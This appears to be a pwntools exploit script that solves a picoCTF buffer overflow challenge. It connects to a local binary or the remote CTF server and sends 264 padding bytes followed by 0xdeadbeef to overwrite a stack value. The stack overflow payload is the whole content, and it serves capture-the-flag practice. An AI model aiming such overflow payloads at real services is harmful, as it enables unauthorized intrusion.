32 lines
562 B
Python
32 lines
562 B
Python
|
#!/usr/bin/env nix-shell
|
||
|
#!nix-shell -i python3 -p python3 python3Packages.pwntools
|
||
|
|
||
|
from pwn import *
|
||
|
|
||
|
exe = ELF("chall")
|
||
|
|
||
|
context.binary = exe
|
||
|
|
||
|
|
||
|
def conn():
|
||
|
if args.LOCAL:
|
||
|
r = process([exe.path])
|
||
|
if args.DEBUG:
|
||
|
gdb.attach(r)
|
||
|
else:
|
||
|
r = remote("mars.picoctf.net", 31890)
|
||
|
|
||
|
return r
|
||
|
|
||
|
|
||
|
def main():
|
||
|
r = conn()
|
||
|
# gdb.attach(r, 'break *main+143')
|
||
|
print(r.recvuntil(b'What do you see?\n'))
|
||
|
r.sendline((b'A' * 264) + p64(0xdeadbeef))
|
||
|
print(r.recvall().decode())
|
||
|
|
||
|
|
||
|
if __name__ == "__main__":
|
||
|
main()
|